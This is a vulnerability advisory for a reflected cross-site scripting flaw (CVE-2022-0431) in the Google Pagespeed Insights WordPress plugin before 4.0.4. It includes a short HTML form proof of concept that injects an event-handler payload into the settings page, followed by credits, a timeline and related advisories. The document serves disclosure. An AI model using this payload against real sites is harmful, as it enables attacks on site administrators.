Google Pagespeed Insights < 4.0.4 – Reflected Cross-Site Scripting | CVE 2022-0431 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape various parameters before outputting them back in attributes in the plugin's settings dashboard, leading to Reflected Cross-Site Scripting

Proof of Concept

<html>
    <form action="https://example.com/wp-admin/tools.php?page=google-pagespeed-insights&render=options" method="POST">
        <input type="text" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/) x'>
        <input type="submit" value="Send">
    </form>
</html>

Affects Plugins

google-pagespeed-insights

Fixed in 4.0.4

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2690415

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

52bd94df-8816-48fd-8788-38d045eb57ca

Timeline

Publicly Published

2022-03-08 (about 3 years ago)

Added

2022-03-08 (about 3 years ago)

Last Updated

2022-04-12 (about 3 years ago)

Other

Published

Title

Published

2025-01-14

Title

Partners <= 0.2.0 - Reflected Cross-Site Scripting

Published

2025-01-16

Title

wp-flickr-press <= 2.6.4 - Reflected Cross-Site Scripting

Published

2017-07-07

Title

WP Statistics <= 12.0.9 - Authenticated Cross-Site Scripting (XSS)

Published

2014-08-01

Title

Car Demon 1.0.1 - /wp-admin/post.php Multiple Parameter XSS

Published

2019-10-09

Title

SoundPress < 3.0.0 - Cross-Site Scripting (XSS)